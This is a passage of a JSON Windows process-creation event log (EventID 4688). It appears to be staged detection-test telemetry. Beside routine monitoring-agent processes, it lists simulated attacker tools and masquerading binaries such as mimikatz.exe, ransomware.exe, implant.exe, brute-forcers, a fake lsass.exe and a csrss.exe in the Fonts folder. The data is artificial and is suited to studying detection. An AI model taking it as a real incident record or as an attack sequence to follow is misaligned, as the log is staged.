State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\222\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\12345.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\1234.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\Temp\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\DismHost.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ftp.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\dubrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\nlbrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ASC_Alerttest_662jfi039n.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Windows\\\\SoftwareDistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Windows\\\\SoftwareDistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cacls.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\pcalua.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\findstr.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\SQLDumper.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Windows\\\\System32\\\\wermgr.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\Fonts\\\\csrss.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\WerFault.exe\",\"C:\\\\Windows\\\\Fonts\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mimikatz.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Windows\\\\Fonts\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service 